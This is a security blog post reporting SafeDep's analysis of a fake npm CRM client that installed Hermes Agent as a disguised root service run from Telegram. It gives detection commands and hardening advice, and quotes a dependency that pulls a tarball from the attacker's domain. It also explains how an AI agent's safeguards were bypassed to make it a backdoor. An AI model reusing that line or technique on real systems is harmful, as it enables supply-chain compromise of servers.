Skip to content
Shipworthy

An npm package installed an AI agent as a root backdoor

A fake CRM client on npm set up Hermes Agent as a root service that the attacker ran from Telegram. Three related packages are still live. What to check now.

By · · 12 min read


A package on npm that claimed to be the official client for a CRM installed a complete AI agent on the servers it reached, then handed control of that agent to its author. The security firm SafeDep published the analysis on 19 November 2026, and it reached Hacker News today. The package, @leadstack/crm-connect, set up Hermes Agent as a systemd service, connected it to the attacker's Telegram bot, and renamed the service so it looked like part of the CRM. When npm install ran as root, the agent ran as root.

npm has removed that package. The publisher has not gone away. I checked the registry today, and three other packages from the same account are still being served. They contain no malicious code of their own. Each one pulls a dependency from the attacker's server at install time.

What happened

The npm account zmaticoo published nine versions of @leadstack/crm-connect on 16 November 2026, all within six hours. The package described itself as the "Official LeadStack CRM client". SafeDep says the name is borrowed: the API host in the package's docs does not resolve, and the leadstack.io domain belongs to an unrelated consultancy.

SafeDep's timeline, in UTC:

  • 09:44: version 1.0.15 is published. Its postinstall script installs Hermes Agent.
  • 10:42 to 11:14: versions 1.0.18 to 1.0.21 follow. The payload moves from install time to the first SDK call, then to a module downloaded from the attacker's server.
  • 14:55 to 15:27: four more versions download and run a binary, or try to run a platform package that was never published.
  • 15:33: SafeDep's scanner flags the package, five minutes after the last release.

Two parts of this I could check myself today. The npm registry returns 404 for the package. The npmmirror registry still lists it, with nine versions, the maintainer zmaticoo and the "Official LeadStack CRM client" description.

SafeDep also notes that most versions were marked as restricted, and that the mirror first recorded the package at 15:26. That suggests it was private for most of the day, though SafeDep says only npm can confirm it. Nobody has published how many machines installed it.

How the agent got installed

This is version 1.0.15, as SafeDep describes it. I have not read the tarball.

  1. The postinstall script calls the attacker's server at a fixed IP address and asks for the agent's configuration.
  2. The server returns two things. One is a set of lines for the agent's .env file. The other is a text file saved as SOUL.md, which Hermes Agent places first in its system prompt. It defines who the agent is and what it does.
  3. A second, hidden npm install fetches the agent. The script installs hermes-agent@0.22.7 into ~/.leadstack/runtime with logging set to silent and audit messages turned off, so the word "hermes" never appears in the terminal.
  4. The agent is registered as a root systemd service. The script runs Hermes's own gateway installer with --system --run-as-user root.
  5. The service is renamed. The script copies the unit to leadstack-routing.service, changes its description to "LeadStack Lead Routing Daemon (platform sync)" and deletes the original Hermes unit.
  6. The install waits for the agent to come online. It reads the service's journal for the line Hermes logs when it connects to Telegram, then prints a list of green ticks such as "CRM profile synchronized" and "Persistent sync enabled".

Two details I checked against Hermes Agent's own source and docs.

Hermes refuses to run as a root service by default. Its gateway installer stops with the message "Refusing to install the gateway system service as root; pass --run-as-user root to override (e.g. in LXC containers)". The package passed that flag. The safety check was there, and an installer running as root simply opted out of it.

Nothing here is an exploit. The hermes-agent package on npm is an unofficial wrapper around Nous Research's open-source agent. SafeDep is clear that "nothing points to the wrapper or to Hermes Agent being malicious." The package used both the way an administrator would, without asking the owner of the machine.

SafeDep adds that no version tries to escalate privileges. Version 1.0.15 assumes npm install is already running as root, which is common on servers. Version 1.0.18 handles a normal user by installing a user-level service and trying to turn on linger, so the service keeps running after logout.

What the attacker could do with it

A Telegram chat with Hermes Agent has the same tools as its command line. SafeDep lists them from the agent's toolsets reference: shell commands, reading and changing files, web search and a browser, code execution, scheduled jobs and handing work to sub-agents.

Hermes does ask for approval before commands it considers dangerous. That does not help here. SafeDep's point is that anyone allowed into the chat can approve, "and the attacker is that member." Hermes's security docs also describe a HERMES_YOLO_MODE=1 setting that skips approval prompts, apart from a fixed blocklist. That setting lives in the .env file, and the attacker's server wrote the .env file. Whether it was set is unknown, because SafeDep did not recover the real file.

Compared with an ordinary backdoor, the attacker gets three things from doing it this way:

  • No custom malware on disk. The software on the server is a popular open-source project, installed from the public registry.
  • Instructions in plain language. The attacker types a request into a chat and the agent works out the commands.
  • Changes without a new release. The agent's keys and instructions are downloaded at install time, so the attacker can change them on the server without publishing anything to npm.

This is not the first time Hermes Agent has been used this way. SafeDep points to a September 2026 report by ThreatDown on a botnet called Carbonato, which spreads through exposed Docker APIs and runs Hermes Agent as its implant. SafeDep says this is the first case it has seen of an npm install doing the same.

Who it was aimed at

The READMEs speak to engineers connecting a CRM to server-side code, and one version tells the reader to install it "in the same Node project as your ingest API or webhook worker". A guide on the attacker's newer domain addresses integration engineers at partners of "a network of trading brands".

SafeDep reads that as forex and CFD brokerages, with CRM credentials and lead data as the likely goal. It also says this is an inference from the lures and the payload design, and that it has not observed it on a victim.

So this is a targeted lure, sent to specific people, and not a typo of a popular package that anyone might install by accident. The technique is what matters for the rest of us.

The publisher is still on npm

SafeDep reported that on 18 November the same account published three more packages: @zmatdspcrm/trading-connector, @zmatdspcrm/brandnet-connect and brandnet-connect.

I queried the npm registry for all three today. All three are still served, and all three list zmaticoo as the maintainer. None declares an install script. Each current version declares one optional dependency, which is a tarball URL on the attacker's domain:

"optionalDependencies": {
  "brandnet-entitlement": "https://zmaticco.dev/packages/brandnet-entitlement-1.0.0.tgz"
}

A scanner that reads these tarballs finds nothing, because there is nothing in them. The code that matters is fetched from the attacker's server during the install, and SafeDep notes that npm "runs any install script it contains". On 19 November, SafeDep says, the server returned a harmless token validator. The attacker can swap that file at any time without touching npm. I did not fetch it.

SafeDep says the domain is a lookalike of the ad-tech company zMaticoo, which has no connection to this, and that it resolves to the same server as the first package.

Check your servers and lockfiles

These commands are SafeDep's. Start with your repositories:

grep -rnE '@leadstack/crm-connect|@zmatdspcrm/|brandnet-connect|zmaticco\.dev' \
  --include=package.json --include=package-lock.json \
  --include=yarn.lock --include=pnpm-lock.yaml .

Then on Linux servers, look for the agent's files and the renamed services. On a root install the home directory is /root:

ls -la ~/.leadstack ~/.config/leadstack ~/.local/share/leadstack \
  /root/.leadstack /root/.config/leadstack 2>/dev/null
systemctl list-unit-files 'leadstack-*' 'hermes-gateway*'
systemctl --user list-unit-files 'leadstack-*' 'hermes-gateway*'
loginctl show-user "$USER" -p Linger

In network logs, SafeDep says to look for connections to 72[.]62[.]1[.]108 and zmaticco[.]dev, and for servers that long-poll api.telegram.org or call api.moonshot.ai without a reason to. Its post links a CSV with all 55 indicators.

If you find any of it, SafeDep's advice is direct: "Treat a server that installed any of these versions as root as fully compromised." Rebuild it instead of cleaning it, and rotate every credential the server or the application's environment could reach. A non-root install ran the agent with the installing user's rights, which usually includes the application's secrets.

What stops this at install time

You are unlikely to install these exact packages. The two tricks will be reused, so they are worth blocking by default. What follows is what each tool's documentation says. I have not tested any of it against these packages.

Trick one: an install script. Version 1.0.15 did everything from postinstall.

  • pnpm does not run dependency install scripts unless you approve them. Its docs describe allowBuilds as a map of packages allowed or denied "script execution", and strictDepBuilds, which defaults to true, makes the install fail when a dependency has an unreviewed build script.
  • npm has an ignore-scripts setting that defaults to false. The npm 11 docs also describe an allowScripts policy in package.json with npm approve-scripts and npm deny-scripts commands. I have not used that policy, so I can't tell you how it behaves in a project that has not set it up.

This site's repository uses pnpm, and its pnpm-workspace.yaml has an allowBuilds list. It currently allows one package, esbuild, to run its build script and denies two others by name. A new dependency with a postinstall script would fail the install until someone reviewed it, which is the behaviour you want.

Trick two: a dependency that is a URL. The three newer packages have no scripts and no code. They point at a tarball on a server the attacker controls.

  • pnpm has blockExoticSubdeps, which defaults to true. With it, "only direct dependencies (those listed in your root package.json) may use exotic sources (like git repositories or direct tarball URLs)." The tarball here would be a dependency of a dependency, so by that description pnpm would refuse it.
  • npm has allow-remote, which defaults to all. Setting it to root "only allows urls defined in your project's package.json to be installed", and none blocks them all.

For an npm project, that comes to two lines in .npmrc:

ignore-scripts=true
allow-remote=root

Expect some friction. Packages that compile native code need their install scripts, so you will have to allow those on purpose.

What a release delay does and does not do. pnpm's minimumReleaseAge now defaults to 1,440 minutes, so it will not install a version published less than a day ago. npm has min-release-age, which is off by default. A delay would have covered @leadstack/crm-connect, which npm removed. It would not have covered the three newer packages, which have been up for more than two days. It also does nothing about a URL dependency, whose contents can change after any waiting period.

What none of this covers. From version 1.0.18 the payload ran on the first call into the SDK, inside the application's own process. No install-time setting sees that. Once you import a package, its code runs with your application's environment and secrets.

Two habits help beyond the settings. Don't run npm install as root on a server: the root service in 1.0.15 only worked because the install had root. And build in CI, then ship the built artefact, so that production servers never run a package manager at all.

Agents are now part of the attacker's toolkit

This week had two stories about AI agents and package registries. In the first, a credential stealer was slipped into Microsoft's agent-framework on PyPI, which is an attack on people who build agents. This one goes the other way: the agent is the payload.

It works because of what an agent is. A coding or operations agent is a program that takes instructions in plain language and has permission to run commands, edit files and browse the web. That is the feature list of a remote access tool. The only thing that separates the two is who writes the instructions. Here, the attacker's server supplied the instruction file and the chat account that gives orders.

If you run agents on your own servers, the useful question is where their instructions and keys come from, and who can change them. Tools such as HOL Guard look at that question for coding agents on a developer's machine. On a server, it is one more reason to know every long-running service by name. A unit called "LeadStack Lead Routing Daemon" should make you ask who installed it.

What is still unknown

  • How many machines installed the package. SafeDep gives no number, and the package may have been private for most of its life.
  • What the agent was told to do. SafeDep did not recover the real .env or SOUL.md. By 19 November the server no longer answered on the original port.
  • What the later versions downloaded. SafeDep did not recover the JavaScript module or the binary.
  • Whether anyone was compromised. The targeting is SafeDep's inference, and no victim has been reported.
  • When npm will remove the three remaining packages. They were live when I checked today.

The short version

  • What happened: an npm package posing as a CRM client installed Hermes Agent, an open-source AI agent, as a systemd service and connected it to the attacker's Telegram bot.
  • Why it matters: as root, the attacker could run commands, read files and schedule jobs on the server by sending chat messages. No custom malware was needed.
  • Status: @leadstack/crm-connect is gone from npm. Three packages from the same publisher were still live on 21 November, each pulling a dependency from the attacker's server.
  • Check: search lockfiles for the package names and zmaticco.dev, and look for ~/.leadstack and leadstack-* systemd units.
  • If found: rebuild the server and rotate its credentials.
  • Prevent: block install scripts and URL dependencies by default, don't install as root, and keep package managers off production servers.

Frequently asked questions

What did @leadstack/crm-connect do?

According to SafeDep, version 1.0.15 ran a postinstall script that installed Hermes Agent, downloaded the agent's keys and instructions from the attacker's server, connected it to the attacker's Telegram bot and registered it as a systemd service under a CRM-sounding name. Later versions downloaded and ran other code instead.

Is Hermes Agent itself malicious?

No. Hermes Agent is an open-source agent from Nous Research, and SafeDep says nothing points to it or to the unofficial npm wrapper being malicious. The package used them the way an administrator would, without asking the owner of the machine. Hermes refuses to install its service as root unless a flag overrides that, and the package passed the flag.

Is the package still on npm?

The original package is gone. The npm registry returned 404 for @leadstack/crm-connect when I checked on 21 November 2026. Three other packages from the same publisher, @zmatdspcrm/trading-connector, @zmatdspcrm/brandnet-connect and brandnet-connect, were still being served that day.

How do I check whether a server was affected?

Search your lockfiles for the package names and for zmaticco.dev. On servers, look for a ~/.leadstack directory and for systemd units named leadstack-routing or leadstack-ingest-worker. SafeDep's advice is to treat a server that installed any version as root as fully compromised, rebuild it and rotate its credentials.

Would pnpm have blocked this?

Going by pnpm's documentation, its defaults address both tricks. Install scripts of dependencies do not run unless you approve them in allowBuilds, and blockExoticSubdeps, which defaults to true, stops transitive dependencies from loading tarballs from arbitrary URLs. I have not tested either against these packages, and neither covers code that runs when your application imports a package.

Get The Shipping Forecast

One email on Thursdays: what I tested and wrote that week, plus one tool worth your time.

You'll get a confirmation email first. Unsubscribe in one click. Privacy policy.